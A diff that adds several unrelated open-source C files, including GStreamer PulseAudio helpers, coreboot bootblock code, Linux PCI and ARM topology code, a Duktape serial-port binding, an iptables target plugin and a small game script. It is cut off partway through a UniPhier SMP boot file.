+  ss->rate = spec->rate;
+
+  if (!pa_sample_spec_valid (ss))
+    return FALSE;
+
+  return TRUE;
+}
+
+gchar *
+gst_pulse_client_name (void)
+{
+  gchar buf[PATH_MAX];
+
+  const char *c;
+
+  if ((c = g_get_application_name ()))
+    return g_strdup_printf ("%s", c);
+  else if (pa_get_binary_name (buf, sizeof (buf)))
+    return g_strdup_printf ("%s", buf);
+  else
+    return g_strdup ("GStreamer");
+}
+
+pa_channel_map *
+gst_pulse_gst_to_channel_map (pa_channel_map * map,
+    const GstRingBufferSpec * spec)
+{
+  int i;
+
+  GstAudioChannelPosition *pos;
+
+  pa_channel_map_init (map);
+
+  if (!(pos =
+          gst_audio_get_channel_positions (gst_caps_get_structure (spec->caps,
+                  0)))) {
+/*         g_debug("%s: No channel positions!\n", G_STRFUNC); */
+    return NULL;
+  }
+
+/*     g_debug("%s: Got channel positions:\n", G_STRFUNC); */
+
+  for (i = 0; i < spec->channels; i++) {
+
+    if (pos[i] == GST_AUDIO_CHANNEL_POSITION_NONE) {
+      /* no valid mappings for these channels */
+      g_free (pos);
+      return NULL;
+    } else if (pos[i] < GST_AUDIO_CHANNEL_POSITION_NUM)
+      map->map[i] = gst_pos_to_pa[pos[i]];
+    else
+      map->map[i] = PA_CHANNEL_POSITION_INVALID;
+
+    /*g_debug("  channel %d: gst: %d pulse: %d\n", i, pos[i], map->map[i]); */
+  }
+
+  g_free (pos);
+  map->channels = spec->channels;
+
+  if (!pa_channel_map_valid (map)) {
+/*         g_debug("generated invalid map!\n"); */
+    return NULL;
+  }
+
+  return map;
+}
+
+GstRingBufferSpec *
+gst_pulse_channel_map_to_gst (const pa_channel_map * map,
+    GstRingBufferSpec * spec)
+{
+  int i;
+  GstAudioChannelPosition *pos;
+  gboolean invalid = FALSE;
+
+  g_return_val_if_fail (map->channels == spec->channels, NULL);
+
+  pos = g_new0 (GstAudioChannelPosition, spec->channels + 1);
+
+  for (i = 0; i < spec->channels; i++) {
+    if (map->map[i] == PA_CHANNEL_POSITION_INVALID) {
+      invalid = TRUE;
+      break;
+    } else if (map->map[i] < GST_AUDIO_CHANNEL_POSITION_NUM) {
+      pos[i] = pa_to_gst_pos[map->map[i] + 1];
+    } else {
+      invalid = TRUE;
+      break;
+    }
+  }
+
+  if (!invalid && !gst_audio_check_channel_positions (pos, spec->channels))
+    invalid = TRUE;
+
+  if (invalid) {
+    for (i = 0; i < spec->channels; i++)
+      pos[i] = GST_AUDIO_CHANNEL_POSITION_NONE;
+  }
+
+  gst_audio_set_channel_positions (gst_caps_get_structure (spec->caps, 0), pos);
+
+  g_free (pos);
+
+  return spec;
+}
+
+void
+gst_pulse_cvolume_from_linear (pa_cvolume * v, unsigned channels,
+    gdouble volume)
+{
+  pa_cvolume_set (v, channels, pa_sw_volume_from_linear (volume));
+}
diff --git a/pool/shard001/C/0024615_bootblock.c b/pool/shard001/C/0024615_bootblock.c
new file mode 100644
index 0000000000000000000000000000000000000000..b350bde6a97e8d5b7dd8273321b0b593a6b84257
--- /dev/null
+++ b/pool/shard001/C/0024615_bootblock.c
@@ -0,0 +1,53 @@
+/*
+ * This file is part of the coreboot project.
+ *
+ * Copyright (C) 2009 Uwe Hermann <uwe@hermann-uwe.de>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <stdint.h>
+#include <arch/io.h>
+#include <device/pci_ids.h>
+#include "i82371eb.h"
+
+static void i82371eb_enable_rom(void)
+{
+	u16 reg16;
+	device_t dev;
+
+	/*
+	 * Note: The Intel 82371AB/EB/MB ISA device can be on different
+	 * PCI bus:device.function locations on different boards.
+	 * Examples we encountered: 00:07.0, 00:04.0, or 00:14.0.
+	 * But scanning for the PCI IDs (instead of hardcoding
+	 * bus/device/function numbers) works on all boards.
+	 */
+	dev = pci_locate_device(PCI_ID(PCI_VENDOR_ID_INTEL,
+				       PCI_DEVICE_ID_INTEL_82371AB_ISA), 0);
+
+	/* Enable access to the whole ROM, disable ROM write access. */
+	reg16 = pci_read_config16(dev, XBCS);
+	reg16 |= LOWER_BIOS_ENABLE;
+	reg16 |= EXT_BIOS_ENABLE;
+	reg16 |= EXT_BIOS_ENABLE_1MB;
+	reg16 &= ~(WRITE_PROTECT_ENABLE);	/* Disable ROM write access. */
+	pci_write_config16(dev, XBCS, reg16);
+}
+
+static void bootblock_southbridge_init(void)
+{
+	i82371eb_enable_rom();
+}
diff --git a/pool/shard001/C/0024621_pci-host-common.c b/pool/shard001/C/0024621_pci-host-common.c
new file mode 100644
index 0000000000000000000000000000000000000000..61eb4d46eb50b0116f1f043ccdd1ae1a712d69b0
--- /dev/null
+++ b/pool/shard001/C/0024621_pci-host-common.c
@@ -0,0 +1,170 @@
+/*
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ * Copyright (C) 2014 ARM Limited
+ *
+ * Author: Will Deacon <will.deacon@arm.com>
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/of_address.h>
+#include <linux/of_pci.h>
+#include <linux/pci-ecam.h>
+#include <linux/platform_device.h>
+
+static int gen_pci_parse_request_of_pci_ranges(struct device *dev,
+		       struct list_head *resources, struct resource **bus_range)
+{
+	int err, res_valid = 0;
+	struct device_node *np = dev->of_node;
+	resource_size_t iobase;
+	struct resource_entry *win, *tmp;
+
+	err = of_pci_get_host_bridge_resources(np, 0, 0xff, resources, &iobase);
+	if (err)
+		return err;
+
+	err = devm_request_pci_bus_resources(dev, resources);
+	if (err)
+		return err;
+
+	resource_list_for_each_entry_safe(win, tmp, resources) {
+		struct resource *res = win->res;
+
+		switch (resource_type(res)) {
+		case IORESOURCE_IO:
+			err = pci_remap_iospace(res, iobase);
+			if (err) {
+				dev_warn(dev, "error %d: failed to map resource %pR\n",
+					 err, res);
+				resource_list_destroy_entry(win);
+			}
+			break;
+		case IORESOURCE_MEM:
+			res_valid |= !(res->flags & IORESOURCE_PREFETCH);
+			break;
+		case IORESOURCE_BUS:
+			*bus_range = res;
+			break;
+		}
+	}
+
+	if (res_valid)
+		return 0;
+
+	dev_err(dev, "non-prefetchable memory resource required\n");
+	return -EINVAL;
+}
+
+static void gen_pci_unmap_cfg(void *ptr)
+{
+	pci_ecam_free((struct pci_config_window *)ptr);
+}
+
+static struct pci_config_window *gen_pci_init(struct device *dev,
+		struct list_head *resources, struct pci_ecam_ops *ops)
+{
+	int err;
+	struct resource cfgres;
+	struct resource *bus_range = NULL;
+	struct pci_config_window *cfg;
+
+	/* Parse our PCI ranges and request their resources */
+	err = gen_pci_parse_request_of_pci_ranges(dev, resources, &bus_range);
+	if (err)
+		goto err_out;
+
+	err = of_address_to_resource(dev->of_node, 0, &cfgres);
+	if (err) {
+		dev_err(dev, "missing \"reg\" property\n");
+		goto err_out;
+	}
+
+	cfg = pci_ecam_create(dev, &cfgres, bus_range, ops);
+	if (IS_ERR(cfg)) {
+		err = PTR_ERR(cfg);
+		goto err_out;
+	}
+
+	err = devm_add_action(dev, gen_pci_unmap_cfg, cfg);
+	if (err) {
+		gen_pci_unmap_cfg(cfg);
+		goto err_out;
+	}
+	return cfg;
+
+err_out:
+	pci_free_resource_list(resources);
+	return ERR_PTR(err);
+}
+
+int pci_host_common_probe(struct platform_device *pdev,
+			  struct pci_ecam_ops *ops)
+{
+	const char *type;
+	struct device *dev = &pdev->dev;
+	struct device_node *np = dev->of_node;
+	struct pci_bus *bus, *child;
+	struct pci_config_window *cfg;
+	struct list_head resources;
+
+	type = of_get_property(np, "device_type", NULL);
+	if (!type || strcmp(type, "pci")) {
+		dev_err(dev, "invalid \"device_type\" %s\n", type);
+		return -EINVAL;
+	}
+
+	of_pci_check_probe_only();
+
+	/* Parse and map our Configuration Space windows */
+	INIT_LIST_HEAD(&resources);
+	cfg = gen_pci_init(dev, &resources, ops);
+	if (IS_ERR(cfg))
+		return PTR_ERR(cfg);
+
+	/* Do not reassign resources if probe only */
+	if (!pci_has_flag(PCI_PROBE_ONLY))
+		pci_add_flags(PCI_REASSIGN_ALL_RSRC | PCI_REASSIGN_ALL_BUS);
+
+	bus = pci_scan_root_bus(dev, cfg->busr.start, &ops->pci_ops, cfg,
+				&resources);
+	if (!bus) {
+		dev_err(dev, "Scanning rootbus failed");
+		return -ENODEV;
+	}
+
+	pci_fixup_irqs(pci_common_swizzle, of_irq_parse_and_map_pci);
+
+	/*
+	 * We insert PCI resources into the iomem_resource and
+	 * ioport_resource trees in either pci_bus_claim_resources()
+	 * or pci_bus_assign_resources().
+	 */
+	if (pci_has_flag(PCI_PROBE_ONLY)) {
+		pci_bus_claim_resources(bus);
+	} else {
+		pci_bus_size_bridges(bus);
+		pci_bus_assign_resources(bus);
+
+		list_for_each_entry(child, &bus->children, node)
+			pcie_bus_configure_settings(child);
+	}
+
+	pci_bus_add_devices(bus);
+	return 0;
+}
+
+MODULE_DESCRIPTION("Generic PCI host driver common code");
+MODULE_AUTHOR("Will Deacon <will.deacon@arm.com>");
+MODULE_LICENSE("GPL v2");
diff --git a/pool/shard001/C/0024624_topology.c b/pool/shard001/C/0024624_topology.c
new file mode 100644
index 0000000000000000000000000000000000000000..d36e3a837f0f7a4d8fb6c5398141bcea7afad93a
--- /dev/null
+++ b/pool/shard001/C/0024624_topology.c
@@ -0,0 +1,285 @@
+/*
+ * arch/arm/kernel/topology.c
+ *
+ * Copyright (C) 2011 Linaro Limited.
+ * Written by: Vincent Guittot
+ *
+ * based on arch/sh/kernel/topology.c
+ *
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License.  See the file "COPYING" in the main directory of this archive
+ * for more details.
+ */
+
+#include <linux/cpu.h>
+#include <linux/cpumask.h>
+#include <linux/export.h>
+#include <linux/init.h>
+#include <linux/percpu.h>
+#include <linux/node.h>
+#include <linux/nodemask.h>
+#include <linux/sched.h>
+#include <linux/slab.h>
+
+#include <asm/cputype.h>
+#include <asm/smp_plat.h>
+#include <asm/topology.h>
+
+struct cputopo_arm cpu_topology[NR_CPUS];
+EXPORT_SYMBOL_GPL(cpu_topology);
+
+const struct cpumask *cpu_coregroup_mask(int cpu)
+{
+	return &cpu_topology[cpu].core_sibling;
+}
+
+/*
+ * store_cpu_topology is called at boot when only one cpu is running
+ * and with the mutex cpu_hotplug.lock locked, when several cpus have booted,
+ * which prevents simultaneous write access to cpu_topology array
+ */
+void store_cpu_topology(unsigned int cpuid)
+{
+	struct cputopo_arm *cpuid_topo = &cpu_topology[cpuid];
+	unsigned int mpidr;
+	unsigned int cpu;
+
+	/* If the cpu topology has been already set, just return */
+	if (cpuid_topo->core_id != -1)
+		return;
+
+	mpidr = read_cpuid_mpidr();
+
+	/* create cpu topology mapping */
+	if ((mpidr & MPIDR_SMP_BITMASK) == MPIDR_SMP_VALUE) {
+		/*
+		 * This is a multiprocessor system
+		 * multiprocessor format & multiprocessor mode field are set
+		 */
+
+		if (mpidr & MPIDR_MT_BITMASK) {
+			/* core performance interdependency */
+			cpuid_topo->thread_id = (mpidr >> MPIDR_LEVEL0_SHIFT)
+				& MPIDR_LEVEL0_MASK;
+			cpuid_topo->core_id = (mpidr >> MPIDR_LEVEL1_SHIFT)
+				& MPIDR_LEVEL1_MASK;
+			cpuid_topo->socket_id = (mpidr >> MPIDR_LEVEL2_SHIFT)
+				& MPIDR_LEVEL2_MASK;
+		} else {
+			/* largely independent cores */
+			cpuid_topo->thread_id = -1;
+			cpuid_topo->core_id = (mpidr >> MPIDR_LEVEL0_SHIFT)
+				& MPIDR_LEVEL0_MASK;
+			cpuid_topo->socket_id = (mpidr >> MPIDR_LEVEL1_SHIFT)
+				& MPIDR_LEVEL1_MASK;
+		}
+	} else {
+		/*
+		 * This is an uniprocessor system
+		 * we are in multiprocessor format but uniprocessor system
+		 * or in the old uniprocessor format
+		 */
+		cpuid_topo->thread_id = -1;
+		cpuid_topo->core_id = 0;
+		cpuid_topo->socket_id = -1;
+	}
+
+	/* update core and thread sibling masks */
+	for_each_possible_cpu(cpu) {
+		struct cputopo_arm *cpu_topo = &cpu_topology[cpu];
+
+		if (cpuid_topo->socket_id == cpu_topo->socket_id) {
+			cpumask_set_cpu(cpuid, &cpu_topo->core_sibling);
+			if (cpu != cpuid)
+				cpumask_set_cpu(cpu,
+					&cpuid_topo->core_sibling);
+
+			if (cpuid_topo->core_id == cpu_topo->core_id) {
+				cpumask_set_cpu(cpuid,
+					&cpu_topo->thread_sibling);
+				if (cpu != cpuid)
+					cpumask_set_cpu(cpu,
+						&cpuid_topo->thread_sibling);
+			}
+		}
+	}
+	smp_wmb();
+
+	cpu_mpidr_map(cpuid) = mpidr;
+
+	printk(KERN_INFO "CPU%u: thread %d, cpu %d, socket %d, mpidr %x\n",
+		cpuid, cpu_topology[cpuid].thread_id,
+		cpu_topology[cpuid].core_id,
+		cpu_topology[cpuid].socket_id, mpidr);
+}
+
+
+#ifdef CONFIG_SCHED_HMP
+
+static const char * const little_cores[] = {
+	"arm,cortex-a7",
+	NULL,
+};
+
+#ifdef CONFIG_OF_DEVICE
+static bool is_little_cpu(struct device_node *cn)
+{
+	const char * const *lc;
+	for (lc = little_cores; *lc; lc++)
+		if (of_device_is_compatible(cn, *lc))
+			return true;
+	return false;
+}
+#endif
+
+void __init arch_get_fast_and_slow_cpus(struct cpumask *fast,
+					struct cpumask *slow)
+{
+#ifdef CONFIG_OF_DEVICE
+	struct device_node *cn = NULL;
+	int cpu;
+#endif
+
+	cpumask_clear(fast);
+	cpumask_clear(slow);
+
+	/*
+	 * Use the config options if they are given. This helps testing
+	 * HMP scheduling on systems without a big.LITTLE architecture.
+	 */
+	if (strlen(CONFIG_HMP_FAST_CPU_MASK) && strlen(CONFIG_HMP_SLOW_CPU_MASK)) {
+		if (cpulist_parse(CONFIG_HMP_FAST_CPU_MASK, fast))
+			WARN(1, "Failed to parse HMP fast cpu mask!\n");
+		if (cpulist_parse(CONFIG_HMP_SLOW_CPU_MASK, slow))
+			WARN(1, "Failed to parse HMP slow cpu mask!\n");
+		return;
+	}
+
+#ifdef CONFIG_OF_DEVICE
+	/*
+	 * Else, parse device tree for little cores.
+	 */
+	while ((cn = of_find_node_by_type(cn, "cpu"))) {
+
+		const u32 *mpidr;
+		int len;
+
+		mpidr = of_get_property(cn, "reg", &len);
+		if (!mpidr || len != 4) {
+			pr_err("* %s missing reg property\n", cn->full_name);
+			continue;
+		}
+
+		cpu = get_logical_index(be32_to_cpup(mpidr));
+		if (cpu == -EINVAL) {
+			pr_err("couldn't get logical index for mpidr %x\n",
+							be32_to_cpup(mpidr));
+			break;
+		}
+
+		if (is_little_cpu(cn))
+			cpumask_set_cpu(cpu, slow);
+		else
+			cpumask_set_cpu(cpu, fast);
+	}
+#endif
+
+	if (!cpumask_empty(fast) && !cpumask_empty(slow))
+		return;
+
+	/*
+	 * We didn't find both big and little cores so let's call all cores
+	 * fast as this will keep the system running, with all cores being
+	 * treated equal.
+	 */
+	cpumask_setall(fast);
+	cpumask_clear(slow);
+}
+
+struct cpumask hmp_slow_cpu_mask;
+struct cpumask hmp_fast_cpu_mask;
+
+void __init arch_get_hmp_domains(struct list_head *hmp_domains_list)
+{
+	struct hmp_domain *domain;
+
+	arch_get_fast_and_slow_cpus(&hmp_fast_cpu_mask, &hmp_slow_cpu_mask);
+
+	/*
+	 * Initialize hmp_domains
+	 * Must be ordered with respect to compute capacity.
+	 * Fastest domain at head of list.
+	 */
+	if(!cpumask_empty(&hmp_slow_cpu_mask)) {
+		domain = (struct hmp_domain *)
+			kmalloc(sizeof(struct hmp_domain), GFP_KERNEL);
+		if (!domain) {
+			BUG_ON("Allocation failure about hmp_domain");
+		} else {
+			cpumask_copy(&domain->possible_cpus, &hmp_slow_cpu_mask);
+			cpumask_and(&domain->cpus, cpu_online_mask,
+							&domain->possible_cpus);
+			list_add(&domain->hmp_domains, hmp_domains_list);
+		}
+	}
+	domain = (struct hmp_domain *)
+		kmalloc(sizeof(struct hmp_domain), GFP_KERNEL);
+	if (!domain) {
+		BUG_ON("Allocation failure about hmp_domain");
+	} else {
+		cpumask_copy(&domain->possible_cpus, &hmp_fast_cpu_mask);
+		cpumask_and(&domain->cpus, cpu_online_mask,
+						&domain->possible_cpus);
+		list_add(&domain->hmp_domains, hmp_domains_list);
+	}
+}
+#endif /* CONFIG_SCHED_HMP */
+
+
+/*
+ * cluster_to_logical_mask - return cpu logical mask of CPUs in a cluster
+ * @socket_id:		cluster HW identifier
+ * @cluster_mask:	the cpumask location to be initialized, modified by the
+ *			function only if return value == 0
+ *
+ * Return:
+ *
+ * 0 on success
+ * -EINVAL if cluster_mask is NULL or there is no record matching socket_id
+ */
+int cluster_to_logical_mask(unsigned int socket_id, cpumask_t *cluster_mask)
+{
+	int cpu;
+
+	if (!cluster_mask)
+		return -EINVAL;
+
+	for_each_online_cpu(cpu)
+		if (socket_id == topology_physical_package_id(cpu)) {
+			cpumask_copy(cluster_mask, topology_core_cpumask(cpu));
+			return 0;
+		}
+
+	return -EINVAL;
+}
+
+/*
+ * init_cpu_topology is called at boot when only one cpu is running
+ * which prevent simultaneous write access to cpu_topology array
+ */
+void init_cpu_topology(void)
+{
+	unsigned int cpu;
+
+	/* init core mask */
+	for_each_possible_cpu(cpu) {
+		struct cputopo_arm *cpu_topo = &(cpu_topology[cpu]);
+
+		cpu_topo->thread_id = -1;
+		cpu_topo->core_id =  -1;
+		cpu_topo->socket_id = -1;
+		cpumask_clear(&cpu_topo->core_sibling);
+		cpumask_clear(&cpu_topo->thread_sibling);
+	}
+	smp_wmb();
+}
diff --git a/pool/shard001/C/0024636_dpt_serial.c b/pool/shard001/C/0024636_dpt_serial.c
new file mode 100644
index 0000000000000000000000000000000000000000..9a142ba9cacb3795ae66a091850714ffd8b9aa1c
--- /dev/null
+++ b/pool/shard001/C/0024636_dpt_serial.c
@@ -0,0 +1,83 @@
+/* 
+ * Copyright (c) 2015, Daan Pape
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without 
+ * modification, are permitted provided that the following conditions are met:
+ * 
+ *     1. Redistributions of source code must retain the above copyright 
+ *        notice, this list of conditions and the following disclaimer.
+ *
+ *     2. Redistributions in binary form must reproduce the above copyright 
+ *        notice, this list of conditions and the following disclaimer in the 
+ *        documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 
+ * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * File:   dpt_serial.c
+ * Created on November 21, 2015, 5:44 PM
+ */
+
+#include "../../../lib/duktape/src/duktape.h"
+#include "dpt_serial.h"
+
+#include <stdlib.h>
+
+/**
+ * Install the serial module in the duktape interpreter. 
+ * @param ctx the duktape context to register the module in. 
+ */
+void serial_install_dpt_module(duk_context *ctx)
+{
+    const duk_function_list_entry serial_module_functions[] = {
+        { "set_speed", serial_set_speed, DUK_VARARGS },
+        { NULL, NULL, 0 }
+    };
+    
+    duk_push_global_object(ctx);
+    duk_push_object(ctx);
+    duk_put_function_list(ctx, -1, serial_module_functions);
+    duk_put_prop_string(ctx, -2, "SerialModule");
+    duk_pop(ctx);
+}
+
+/**
+ * Set the speed of the serial port. Expect one 
+ * integer argument, the baud rate. 
+ * @param ctx the duktape context. 
+ * @return true on success, false on error for example when
+ * the baud rate is not valid. 
+ */
+duk_ret_t serial_set_speed(duk_context *ctx)
+{
+    char* buff[256];
+    
+    // Expect 1 arguments 
+    int n = duk_get_top(ctx);
+    if(n != 1) {
+        return DUK_RET_API_ERROR;
+    }
+    
+    // Get the desired baud rate
+    int baud = duk_to_int(ctx, 0);
+    
+    // Generate the stty command
+    sprintf(buff, "stty -F /dev/ttyATH0 %d clocal cread cs8 -cstopb -parenb", baud);
+    
+    // Apply
+    int result = system(buff);
+    
+    // Push the result to the stack
+    duk_push_boolean(ctx, result == 0);
+    return 1;
+}
\ No newline at end of file
diff --git a/pool/shard001/C/0024645_libxt_SECCOLO.c b/pool/shard001/C/0024645_libxt_SECCOLO.c
new file mode 100644
index 0000000000000000000000000000000000000000..be28923aabfd02beceadc8d02c4955df32ce57e4
--- /dev/null
+++ b/pool/shard001/C/0024645_libxt_SECCOLO.c
@@ -0,0 +1,60 @@
+/* Shared library add-on to iptables to add TRACE target support. */
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <getopt.h>
+
+#include <xtables.h>
+#include <linux/netfilter/x_tables.h>
+#include <linux/netfilter/xt_COLO.h>
+
+#define s struct xt_colo_secondary_info
+static const struct xt_option_entry colo_opts[] = {
+	{.name = "index", .id = 0, .type = XTTYPE_UINT32,
+	 .flags = XTOPT_PUT, XTOPT_POINTER(s, index),
+	 .excl = 1},
+	XTOPT_TABLEEND,
+};
+#undef s
+
+static void colo_parse(struct xt_option_call *cb)
+{
+	xtables_option_parse(cb);
+}
+
+static void colo_print(const void *ip, const struct xt_entry_target *target,
+                      int numeric)
+{
+	const struct xt_colo_secondary_info *einfo =
+		(const struct xt_colo_secondary_info *)target->data;
+
+	printf(" [SECCOLO:");
+
+	printf(" index %d]", einfo->index);
+}
+
+static void colo_save(const void *ip, const struct xt_entry_target *target)
+{
+	const struct xt_colo_secondary_info *einfo =
+		(const struct xt_colo_secondary_info *)target->data;
+
+	printf("--index %d", einfo->index);
+}
+
+static struct xtables_target colo_target = {
+	.family		= NFPROTO_UNSPEC,
+	.name		= "SECCOLO",
+	.version	= XTABLES_VERSION,
+	.size		= XT_ALIGN(sizeof(struct xt_colo_secondary_info)),
+	.userspacesize	= offsetof(struct xt_colo_secondary_info, colo),
+	.save		= colo_save,
+	.print		= colo_print,
+	.x6_parse	= colo_parse,
+	.x6_options	= colo_opts,
+};
+
+
+void _init(void)
+{
+	xtables_register_target(&colo_target);
+}
diff --git a/pool/shard001/C/0024647_GOLD500.c b/pool/shard001/C/0024647_GOLD500.c
new file mode 100644
index 0000000000000000000000000000000000000000..ead85ba1f66bbe5b0d5a4f28d539544c01824f70
--- /dev/null
+++ b/pool/shard001/C/0024647_GOLD500.c
@@ -0,0 +1,39 @@
+//this script is for 500 gold
+
+void main(void )
+{
+        sp_pseq(&current_sprite, 178);
+        sp_frame(&current_sprite, 4); //so the seq will start
+   //     sp_brain(&current_sprite, 6);
+        sp_touch_damage(&current_sprite, -1);
+        sp_nohit(&current_sprite, 1);
+
+
+//create shiny thingie
+&save_x = sp_x(&current_sprite, -1);
+&save_y = sp_y(&current_sprite, -1);
+&save_y += random(5,1);
+int &startframe = random(5,1);
+int &spark = create_sprite(&save_x, &save_y, 15, 165, 1);
+sp_seq(&spark, 165);
+sp_nohit(&spark, 1);
+sp_frame(&spark, &startframe);
+sp_brain_parm(&spark, &current_sprite);
+
+}
+
+void touch( void )
+{
+&gold += 500;
+say("I found 500 gold.",1);
+sp_brain_parm(&current_sprite, 10);
+sp_brain(&current_sprite, 12);
+sp_touch_damage(&current_sprite, 0);
+sp_timing(&current_sprite, 0);
+
+  //kill this item so it doesn't show up again for this player
+  int &hold = sp_editor_num(&current_sprite);
+  if (&hold != 0)
+  editor_type(&hold, 1); 
+
+}
diff --git a/pool/shard001/C/0024649_platsmp.c b/pool/shard001/C/0024649_platsmp.c
new file mode 100644
index 0000000000000000000000000000000000000000..db04142f88bc3fab0519a0e21db5ed0a022c19c7
--- /dev/null
+++ b/pool/shard001/C/0024649_platsmp.c
@@ -0,0 +1,217 @@
+/*
+ * Copyright (C) 2015 Masahiro Yamada <yamada.masahiro@socionext.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ */
+
+#define pr_fmt(fmt)		"uniphier: " fmt
+
+#include <linux/init.h>
+#include <linux/io.h>
+#include <linux/ioport.h>
+#include <linux/of.h>
+#include <linux/of_address.h>
+#include <linux/sizes.h>
+#include <asm/cacheflush.h>
+#include <asm/hardware/cache-uniphier.h>
+#include <asm/pgtable.h>
+#include <asm/smp.h>
+#include <asm/smp_scu.h>
+
+/*
+ * The secondary CPUs check this register from the boot ROM for the jump
+ * destination.  After that, it can be reused as a scratch register.
+ */
+#define UNIPHIER_SMPCTRL_ROM_RSV2	0x208
+
+static void __iomem *uniphier_smp_rom_boot_rsv2;
+static unsigned int uniphier_smp_max_cpus;
+
+extern char uniphier_smp_trampoline;
+extern char uniphier_smp_trampoline_jump;
+extern char uniphier_smp_trampoline_poll_addr;
+extern char uniphier_smp_trampoline_end;
+
+/*
+ * Copy trampoline code to the tail of the 1st section of the page table used
+ * in the boot ROM.  This area is directly accessible by the secondary CPUs
+ * for all the UniPhier SoCs.
+ */
+static const phys_addr_t uniphier_smp_trampoline_dest_end = SECTION_SIZE;
+static phys_addr_t uniphier_smp_trampoline_dest;
+
+static int __init uniphier_smp_copy_trampoline(phys_addr_t poll_addr)
+{
+	size_t trmp_size;
+	static void __iomem *trmp_base;
+
+	if (!uniphier_cache_l2_is_enabled()) {
+		pr_warn("outer cache is needed for SMP, but not enabled\n");
+		return -ENODEV;
+	}
+
+	uniphier_cache_l2_set_locked_ways(1);
+
+	outer_flush_all();
+
+	trmp_size = &uniphier_smp_trampoline_end - &uniphier_smp_trampoline;
+	uniphier_smp_trampoline_dest = uniphier_smp_trampoline_dest_end -
+								trmp_size;
+
+	uniphier_cache_l2_touch_range(uniphier_smp_trampoline_dest,
+				      uniphier_smp_trampoline_dest_end);
+
+	trmp_base = ioremap_cache(uniphier_smp_trampoline_dest, trmp_size);
+	if (!trmp_base) {
+		pr_err("failed to map trampoline destination area\n");
+		return -ENOMEM;
+	}
+
+	memcpy(trmp_base, &uniphier_smp_trampoline, trmp_size);
+
+	writel(virt_to_phys(secondary_startup),
+	       trmp_base + (&uniphier_smp_trampoline_jump -
+			    &uniphier_smp_trampoline));
+
+	writel(poll_addr, trmp_base + (&uniphier_smp_trampoline_poll_addr -
+				       &uniphier_smp_trampoline));
+
+	flush_cache_all();	/* flush out trampoline code to outer cache */
+
+	iounmap(trmp_base);
+
+	return 0;
+}
+
+static int __init uniphier_smp_prepare_trampoline(unsigned int max_cpus)
+{
+	struct device_node *np;
+	struct resource res;
+	phys_addr_t rom_rsv2_phys;
+	int ret;
+
+	np = of_find_compatible_node(NULL, NULL, "socionext,uniphier-smpctrl");
+	of_node_put(np);
+	ret = of_address_to_resource(np, 0, &res);
+	if (!ret) {
+		rom_rsv2_phys = res.start + UNIPHIER_SMPCTRL_ROM_RSV2;
+	} else {
+		/* try old binding too */
+		np = of_find_compatible_node(NULL, NULL,
+					     "socionext,uniphier-system-bus-controller");
+		of_node_put(np);
+		ret = of_address_to_resource(np, 1, &res);
+		if (ret) {
+			pr_err("failed to get resource of SMP control\n");
+			return ret;
+		}
+		rom_rsv2_phys = res.start + 0x1000 + UNIPHIER_SMPCTRL_ROM_RSV2;
+	}
+
+	ret = uniphier_smp_copy_trampoline(rom_rsv2_phys);
+	if (ret)
+		return ret;
+
+	uniphier_smp_rom_boot_rsv2 = ioremap(rom_rsv2_phys, SZ_4);
+	if (!uniphier_smp_rom_boot_rsv2) {
+		pr_err("failed to map ROM_BOOT_RSV2 register\n");
+		return -ENOMEM;
+	}
+
+	writel(uniphier_smp_trampoline_dest, uniphier_smp_rom_boot_rsv2);
+	asm("sev"); /* Bring up all secondary CPUs to the trampoline code */
+
+	uniphier_smp_max_cpus = max_cpus;	/* save for later use */
+
+	return 0;
+}
+
+static void __init uniphier_smp_unprepare_trampoline(void)
+{
+	iounmap(uniphier_smp_rom_boot_rsv2);
+
+	if (uniphier_smp_trampoline_dest)
+		outer_inv_range(uniphier_smp_trampoline_dest,
+				uniphier_smp_trampoline_dest_end);
+
